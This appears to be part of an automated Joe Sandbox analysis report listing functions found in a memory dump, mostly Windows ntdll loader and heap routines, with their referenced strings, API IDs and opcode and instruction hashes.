                                                  • Instruction ID: a8b3d107441bd985e01f2f30c0c4d28747ace255952813aff44b415fbd7067aa
                                                  • Opcode Fuzzy Hash: ffa61c24fa93a71aa8496e6c6900607d7f9aa8f4e338e9d7e3dab7154d6ee012
                                                  • Instruction Fuzzy Hash: 54310576E116289FCF15DFA8E889A9DBBF1FF48360F10412AE511BB290DB359901CF94
                                                  Function 356BF910 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 263timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
                                                  • API String ID: 3446177414-3610490719
                                                  • Opcode ID: 6ba3ce8fde8b888a5d6c9c6f4a9499cf4f5fbebfad7fec8e8185702fabdb97cd
                                                  • Instruction ID: ba57d5e48a94cc0866adbf1a2ba84c3b4905e6cedef5363920067b470eccc069
                                                  • Opcode Fuzzy Hash: 6ba3ce8fde8b888a5d6c9c6f4a9499cf4f5fbebfad7fec8e8185702fabdb97cd
                                                  • Instruction Fuzzy Hash: EA9113B5324741DFEB19DB66C884F2AF7FABF80A40F000459ED419B290DFB4A941CB96
                                                  Function 356E0BCB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  • LdrpCheckModule, xrefs: 3572A117
                                                  • minkernel\ntdll\ldrinit.c, xrefs: 3572A121
                                                  • Failed to allocated memory for shimmed module list, xrefs: 3572A10F
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
                                                  • API String ID: 3446177414-161242083
                                                  • Opcode ID: bff0cb59ed058aae93d133f501071a62c9c9084dce9eb0a104c8ddeeb15b70b7
                                                  • Instruction ID: a87a894504d0020cc9bd1aae0bf707ba1901f32a1e2961e3a2b5bd4a6c13853b
                                                  • Opcode Fuzzy Hash: bff0cb59ed058aae93d133f501071a62c9c9084dce9eb0a104c8ddeeb15b70b7
                                                  • Instruction Fuzzy Hash: BB71EE74A01605DFEB14DFA8CA80EAEB7F6FF44714F144469D902EB640EB74AD82CB91
                                                  Function 35798927 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 187timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: $File
                                                  • API String ID: 3446177414-2412145507
                                                  • Opcode ID: 04c39bd0c45c473b7b11e9428f0315dd6c80e4e3ddbc121b83cda62d22ae5cc6
                                                  • Instruction ID: 6ff272568bc1ca8d1f932e0f4b2f00e91c2b8107b338b1edab749614be3650bc
                                                  • Opcode Fuzzy Hash: 04c39bd0c45c473b7b11e9428f0315dd6c80e4e3ddbc121b83cda62d22ae5cc6
                                                  • Instruction Fuzzy Hash: 3D618E72A1422C9BDB2ACB24DC45FE977F9EB08710F4441A9A509EB181EB709F84CF64
                                                  Function 356FC720 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 141timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  • minkernel\ntdll\ldrinit.c, xrefs: 357382E8
                                                  • Failed to reallocate the system dirs string !, xrefs: 357382D7
                                                  • LdrpInitializePerUserWindowsDirectory, xrefs: 357382DE
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
                                                  • API String ID: 3446177414-1783798831
                                                  • Opcode ID: 0b7a03392af02964c0484c4d1b5a81e935c1ddfa8cb0e31b1491f373b8ef3386
                                                  • Instruction ID: 3f61b445af014c8a72d4a301d46ea43c4c910f775441a2c131000d1a9306f57b
                                                  • Opcode Fuzzy Hash: 0b7a03392af02964c0484c4d1b5a81e935c1ddfa8cb0e31b1491f373b8ef3386
                                                  • Instruction Fuzzy Hash: DC41A2B5A1A300EBEB20DB64D884F4B77F9FF44660F01492AB955E7250EB71D801CBD6
                                                  Function 356FBED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  • RTL: Resource at %p, xrefs: 35737B8E
                                                  • RTL: Re-Waiting, xrefs: 35737BAC
                                                  • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 35737B7F
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                  • API String ID: 0-871070163
                                                  • Opcode ID: c1eb48bfb1e4296a5ef17cbe8e945a4e5cb3c1d78a153576b081749f9f50dfaa
                                                  • Instruction ID: 8d188b2196473c04420e26d1ad0fc0a4f70c8e8b0dfcf81e7c85537bcf0f877a
                                                  • Opcode Fuzzy Hash: c1eb48bfb1e4296a5ef17cbe8e945a4e5cb3c1d78a153576b081749f9f50dfaa
                                                  • Instruction Fuzzy Hash: EB41D079B067029BD710CE25C841F5AB7E6FB89720F000A1DE85A9B791DB72E905CF91
                                                  Function 356FB4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 3573728C
                                                  Strings
                                                  • RTL: Resource at %p, xrefs: 357372A3
                                                  • RTL: Re-Waiting, xrefs: 357372C1
                                                  • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 35737294
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                  • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                  • API String ID: 885266447-605551621
                                                  • Opcode ID: 362f63e291af427831f4b782afc088541e4d51ce04df177483e3ef9b373f2d51
                                                  • Instruction ID: 5536d466f49e2faa9b414b9616bca0fede3cf36901b0150a4cc7b2304e6ef6ff
                                                  • Opcode Fuzzy Hash: 362f63e291af427831f4b782afc088541e4d51ce04df177483e3ef9b373f2d51
                                                  • Instruction Fuzzy Hash: 6741FF76B05302ABE711CE25CC42F9AB7B6FB84760F100619F855AF641DB21E906CBD1
                                                  Function 35744755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  • minkernel\ntdll\ldrredirect.c, xrefs: 35744899
                                                  • Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 35744888
                                                  • LdrpCheckRedirection, xrefs: 3574488F
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
                                                  • API String ID: 3446177414-3154609507
                                                  • Opcode ID: ab3bfb527412954198c1a718ca3c6e5c57dd5ff2eaf50c81fa5035303e2929b7
                                                  • Instruction ID: 5eff1f861ec501efb9824bdf7daf327e2156e5a0db878b422dc5b495fadfa45d
                                                  • Opcode Fuzzy Hash: ab3bfb527412954198c1a718ca3c6e5c57dd5ff2eaf50c81fa5035303e2929b7
                                                  • Instruction Fuzzy Hash: 9841ADB6A147509FDB12CE68D840E577BEBFB49790F020559EC59AF211EB30D801EB91
                                                  Function 35772300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: ___swprintf_l
                                                  • String ID: %%%u$]:%u
                                                  • API String ID: 48624451-3050659472
                                                  • Opcode ID: 06412cce318eee05bc28b80c1a18f23018eab235f47991e23681e1b946742638
                                                  • Instruction ID: 01cacbc54951b86deae2929ec20fd188c8b1a467cc28cb8de8158dce1ce730b7
                                                  • Opcode Fuzzy Hash: 06412cce318eee05bc28b80c1a18f23018eab235f47991e23681e1b946742638
                                                  • Instruction Fuzzy Hash: 56318076A00219AFDF10CE29DC44BFE77F9FF44650F910596E859E7200EB30AA448FA0
                                                  Function 35745F10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: Wow64 Emulation Layer
                                                  • API String ID: 3446177414-921169906
                                                  • Opcode ID: bd1021cb989e8843b645fbce6fd0f54aa5c6fabdaf4e6fd4e7937e93b5b12d9b
                                                  • Instruction ID: 6237c25de87bbc7babe6a9e70ce24d5a3f92a8a44d5396e2a1fd9db0ad971b27
                                                  • Opcode Fuzzy Hash: bd1021cb989e8843b645fbce6fd0f54aa5c6fabdaf4e6fd4e7937e93b5b12d9b
                                                  • Instruction Fuzzy Hash: BE2130B5A0015DBFAB029BA0CC84CFFBB7DFF852D8B550454FA11A6100DB309E05EB65
                                                  Function 35797CD6 Relevance: 6.4, APIs: 4, Instructions: 397timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID:
                                                  • API String ID: 3446177414-0
                                                  • Opcode ID: 1727773ef6cd95ebf0a05d58fec53699f8483930c6944f2784234aa6332787e1
                                                  • Instruction ID: f0b8220ed2884b210758bbc43c13a032a138e2b5aa04ffb798550354e7b1688a
                                                  • Opcode Fuzzy Hash: 1727773ef6cd95ebf0a05d58fec53699f8483930c6944f2784234aa6332787e1
                                                  • Instruction Fuzzy Hash: 5DE16171E14309ABDF19CFA4D885BEEBBB9FF48354F10812AE515EB280D7709A45CB60
                                                  Function 356EEF28 Relevance: 6.3, APIs: 4, Instructions: 347COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: 694609df5484b8d0ccadcbeda59d061a54cbce73efd781c677d5f46a5566fa6e
                                                  • Instruction ID: 2ba69dc76a71468505b2259119f31cd199616419ef9444869159501626588dfa
                                                  • Opcode Fuzzy Hash: 694609df5484b8d0ccadcbeda59d061a54cbce73efd781c677d5f46a5566fa6e
                                                  • Instruction Fuzzy Hash: 2CE10375E02708DFDB21CFA9CA80A8DFBF6BF48350F20456AE446A7660DB70A941CF51
                                                  Function 3573EF50 Relevance: 6.2, APIs: 4, Instructions: 187timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID:
                                                  • API String ID: 3446177414-0
                                                  • Opcode ID: cbc4fdaa02d2f8998c06bb247d80b72d99de252167835a9ef18f038d531d9bfd
                                                  • Instruction ID: 0aca22c195706eb4583223dc2fe2811a16793496c0e6e9d35c3b8fdaf107ce2c
                                                  • Opcode Fuzzy Hash: cbc4fdaa02d2f8998c06bb247d80b72d99de252167835a9ef18f038d531d9bfd
                                                  • Instruction Fuzzy Hash: BB7177B1E112199FDF01CFA4D985ADDBBB5BF083A0F14402AE905FB255E778A906CF90
                                                  Function 3579A4CA Relevance: 6.2, APIs: 4, Instructions: 170timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID:
                                                  • API String ID: 3446177414-0
                                                  • Opcode ID: dc6d522150d1a2a90eb68f7dbc5a0bd4019daa1b8e0e06c47d8d6ec92f8f8216
                                                  • Instruction ID: abb185140a133ca0cfe81c7085a49d551622e77056dfe2db94921054526dafe9
                                                  • Opcode Fuzzy Hash: dc6d522150d1a2a90eb68f7dbc5a0bd4019daa1b8e0e06c47d8d6ec92f8f8216
                                                  • Instruction Fuzzy Hash: 9D515A74716A129FEB0CCE1AE4A5A9977F2FB89350B10406DDD06DB710DB70EC41CBA0
                                                  Function 3573F1D6 Relevance: 6.2, APIs: 4, Instructions: 150timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID:
                                                  • API String ID: 3446177414-0
                                                  • Opcode ID: 36e9f24af843690a41eb4abe48ee84039f11e41568926ce4135db48449684657
                                                  • Instruction ID: b7756a0a322cc4d1e2d7201b9f540f7380a7345e40fe5cc5f1dc88de9f8944dd
                                                  • Opcode Fuzzy Hash: 36e9f24af843690a41eb4abe48ee84039f11e41568926ce4135db48449684657
                                                  • Instruction Fuzzy Hash: 295144B6E01219DFDF04CF95D946ADCBBB6BF483A0F14802AE815BB251D7389906CF90
                                                  Function 356C59C0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 494COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: @
                                                  • API String ID: 0-2766056989
                                                  • Opcode ID: 0c204deebe4ec3a8cad631761675cd30baaad14fd21b35a1595341b83087d3c2
                                                  • Instruction ID: f636ad853a12e89c2f227d0e8b7c41f73a58901f44d2f32c7651177483c61d56
                                                  • Opcode Fuzzy Hash: 0c204deebe4ec3a8cad631761675cd30baaad14fd21b35a1595341b83087d3c2
                                                  • Instruction Fuzzy Hash: 00325574E04369DFEB21CF64C994BD9BBB1FB19304F0041E9D449AB641DBB4AA84CF91
                                                  Function 35707D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: __aulldvrm
                                                  • String ID: +$-
                                                  • API String ID: 1302938615-2137968064
                                                  • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                  • Instruction ID: f63125e771d503c65b2ae673019629610d20ab0f8a8a5eb4d151022d2b8cc4ed
                                                  • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                  • Instruction Fuzzy Hash: 839192B4E042169FEB14CE69C881AEEB7F6BF44764F50451AE855EF2C0EB70A942CF50
                                                  Function 356F4C59 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON
                                                  Download Yara Rule
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID: 0$Flst
                                                  • API String ID: 0-758220159
                                                  • Opcode ID: 2fb92c79ead7df48b2af76f30eefac8d56a54d24ec27d11933f1c43c879ac0a1
                                                  • Instruction ID: 6d40d8fcf36202177514a060c595b42ef588b3470f8caf6ed134c4461140fc42
                                                  • Opcode Fuzzy Hash: 2fb92c79ead7df48b2af76f30eefac8d56a54d24ec27d11933f1c43c879ac0a1
                                                  • Instruction Fuzzy Hash: 7751BEB5E04208CFEB25CF99C484A59FBF6FF44396F14802AD0099FA51EB719985CB81
                                                  Function 356C04E5 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 153timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  • TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 356C063D
                                                  • kLsE, xrefs: 356C0540
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
                                                  • API String ID: 3446177414-2547482624
                                                  • Opcode ID: e0b64f1ef809517fe54ef9c22fda99ddb3fe3affbf965c0c4fbbc3cee8f62662
                                                  • Instruction ID: bf1e108ecc893a8736c87c0cdf9402e3cfdcb01af9f9d78e6ba69347a98049db
                                                  • Opcode Fuzzy Hash: e0b64f1ef809517fe54ef9c22fda99ddb3fe3affbf965c0c4fbbc3cee8f62662
                                                  • Instruction Fuzzy Hash: 7A51BCB9604B428BD724DF36C544A9BB7E9FF84324F00487EE9AA87640E730D585CF92
                                                  Function 356BDF81 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: 0$0
                                                  • API String ID: 3446177414-203156872
                                                  • Opcode ID: 0e9c0d18166e02e38be1891c2a50bb656ef1afd4aa7f8866c27b49b0597d4b37
                                                  • Instruction ID: 03839d353a34d2aa26ad7b5905eb630c7d528c2277f1827ae5cc29db7fed0d22
                                                  • Opcode Fuzzy Hash: 0e9c0d18166e02e38be1891c2a50bb656ef1afd4aa7f8866c27b49b0597d4b37
                                                  • Instruction Fuzzy Hash: 81414AB56087059FD700CF29C484A1ABBF5FB89354F044A2EF889DB341D7B1EA15CB96
                                                  Function 3575AEB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 89timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Strings
                                                  • NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 3575AF2F
                                                  • KBZQ, xrefs: 3575AF41
                                                  Memory Dump Source
                                                  • Source File: 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Offset: 35690000, based on PE: true
                                                  • Associated: 00000006.00000002.3595143227.00000000357B9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.00000000357BD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  • Associated: 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_6_2_35690000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: DebugPrintTimes
                                                  • String ID: KBZQ$NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
                                                  • API String ID: 3446177414-3953146195
                                                  • Opcode ID: 0b6b813416cd833c01d31c0c9a4b323bf92baa5d733be914a34955a0407f9602
                                                  • Instruction ID: f0124f208c556f9c8487ab3510dcea9b3309ff855fe7e18508fd038147ac835f
                                                  • Opcode Fuzzy Hash: 0b6b813416cd833c01d31c0c9a4b323bf92baa5d733be914a34955a0407f9602
                                                  • Instruction Fuzzy Hash: 403105F6A00654AFDB01DF64CC44F5AB7F6FB44720F118665F905AB680D738E901CB90